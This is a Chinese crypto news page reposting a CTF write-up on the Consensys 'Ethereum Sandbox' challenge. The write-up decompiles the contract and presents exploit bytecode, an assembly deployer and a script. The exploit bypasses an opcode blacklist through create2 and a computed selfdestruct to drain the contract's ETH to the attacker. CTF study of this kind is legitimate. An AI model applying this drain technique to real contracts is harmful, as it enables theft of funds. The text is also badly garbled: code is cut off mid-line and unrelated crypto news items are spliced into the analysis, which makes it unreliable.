链资讯 链资讯
Ctrl+D收藏链资讯
首页 > SOL > 正文

INT:Consensys CTF - " 以太坊沙盒 "_UIN

作者:

时间:

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256数组。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。

Converter宣布第一次减产及第六次回购销毁:火币生态链杠杆聚合收益平台Converter.Finance宣布,其平台通证CON已于4月15日22:00左右实现第一次减产,减产后每日产出69638.4枚。根据项目白皮书,其代币每30天将减产7%。同时,Converter进行第六次回购销毁。本次回购实施后,平台累计回购销毁CON 509,800枚,销毁后CON总量变为48,290,200枚,当前流通量为1,749,749枚。

Converter.Finance于3月16日正式上线,是Heco上一款融合了Harvest和Alpha杠杆收益聚合器协议。[2021/4/15 20:24:27]

首先是函数1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻译一下functionset_array(uint256_value,uint256_key)public{require(msg

Gate.io行情:CONV 24小时涨幅达95.56%:据Gate.io芝麻开门行情显示,截至今日9:58,CONV 24H最高涨幅95.56%,当前涨幅46.34%,24H最高报价0.238美元,当前报价0.1217美元,24H现货交易量达200.68万美元。近期行情波动较大,请注意控制风险。[2021/3/27 19:22:23]

可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:

msg

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

与set_array函数类似

再看函数3:owners

functionowners(uint256varg0)publicnonPayable{require(msg

欧易OKEx上线Conflux Token:3月3日,欧易OKEx官方公告宣布上线Conflux Token (CFX),现已开放充值,CFX/USDT市场将于今日13:00开放交易,并于3月4日18:00开放CFX提现。

据悉,欧易OKEx联合Conflux Token举办了“充值交易赢iPhone 12、限量NFT 和100,000 USDT”活动。

Conflux是在不牺牲任何去中心化程度及安全性的情况下实现高 TPS 的公有链,Conflux Token致力于打造下一代高性能的公链平台。[2021/3/3 18:09:52]

=>functionowners(uint256_key)publicviewreturns(address){require(msg

最后看函数4:0x2918435f

function0x2918435f(addressvarg0)publicpayable{require(msg

Protocol Labs和ConsenSys Labs宣布支持项目Filecoin accelerator:Protocol Labs和ConsenSys Labs宣布支持项目Filecoin accelerator,以促进FIL在以太坊网络和DeFi中的使用。(Cryptoninjas)[2020/7/30]

v2=1;}require(v0);MEM=MEM(varg0

assert(v5<varg0

v7,v8=varg0

require(v7);}

可以看到函数40x2918435f比较复杂,简单分析函数4中有三层require:

要求调用该函数的msg

v2=1;}require(v0);=>翻译一下:boolpermit=false;uint256i=0;while(i<_owners

声音 | ICON首席执行官:韩国政府支持区块链和加密货币:9月1日消息,近日,ICON(ICX)首席执行官JH KIM接受采访时,讨论了韩国关于区块链和加密货币的现行规定。自去年9月的通证发行禁令以来,韩国并不是区块链初创企业和投资者的最佳选择。然而,JH指出风向正在变化。 最近,政府当局和国会议员“正在180°支持区块链和加密货币”。[2018/9/1]

i=1;}require(permit);

3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode,delegatecall,staticcall,selfdestruct.这部分对应的代码比较复杂,我们将对比opcode,逐字翻译```MEM=MEM(varg0

assert(v5<varg0

}

问题分析-2

现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。

首先明确我们使用create2,其为0xf5,我们可以首先看下黄皮书中关于create2的定义

简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约,他的runtimecode中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。

先用opcode来写runtimecode:

//tx.origin这里的ORIGIN是payload,不应该被执行,故需要改为push10x32//SELFDESTRUCT//构造payload,因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//构造payload0x40->0x32ff,push100//Us->salt盐push10x04//Us->length长度4push10x3e//us->offset偏移值->内存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH数量->应该是该address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免责声明:作为区块链信息平台,本站所发布文章仅代表作者个人观点,与链闻ChainNews立场无关。文章内的信息、意见等均仅供参考,并非作为或被视为实际投资建议。

本文来源于非小号媒体平台:

登链社区

现已在非小号资讯平台发布105篇作品,

非小号开放平台欢迎币圈作者入驻

入驻指南:

/apply_guide/

本文网址:

/news/10087897.html

免责声明:

1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险

2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场

上一篇:

SendingLabs完成1250万美元种子轮融资,以构建「Web3通信堆栈」

标签:INTUINREQLICpointpay币最新消息QUINTRequest NetworkClick

SOL热门资讯
GATE:Gate.io 每日行情(6.19):美元指数持续走强 比特币价格继续下跌_gate.io如何交易买币

截止到北京时间11:00,比特币现货价35519.63美元,以太坊价格为2212.29美元,DOT价格为20.924美元。在通货膨胀预期增加和美元走强的双重压力下,昨日比特币价格出现小幅跳水.

GAT:老崔说币:敢教日月换新天,以太坊爆发式增长?_泰达币usdt能投资吗

大家好,我是来自CKcoin平台首席分析师老崔说币,也是你们的朋友老崔说币shi9527111,老崔说币公众号同步专注数字货币行情分析,争取为广大币友传递最有价值的币市信息.

HOMI:HomiEx(红米交易所)关于恢复AKT充值和提现的公告_TPS

亲爱的用户: AKT节点升级完毕,HomiEx现已恢复AKT的充值和提现。暂停期间给您带来的不便,敬请谅解!风险提示:虚拟货币投资是一种高风险的投资方式,它是7×24小时的交易方式,所以不会有收.

INT:解密NFT:看不懂的艺术收藏与投资新神话_GLINT价格

有认为,如果按照NFT未来可以占到虚拟货币总市值的5%-10%计算,NFT市场规模可达3000亿美元左右.

NFT:NFT创作者指南-如何铸造_BAT

NFT最近成了一个流行语,特别是在创意界和游戏界。当Beeple的作品《每日:前5000天》(Everyday:TheFirst5000Days)在佳士得的网上拍卖中以6900万美元的价格售出时.

GAT:Gate.io 今日智能量化策略年化排行,七日年化收益率最高达101.66%_htt币价格

目前智能量化交易策略库包含网格交易、合约网格、MACD(指数平滑移动平均线)、双均线、MACD-RSI、双均线-RSI六种量化策略,用户可自由选择使用。杠杆倍数设置可放大本金,获取多倍收益.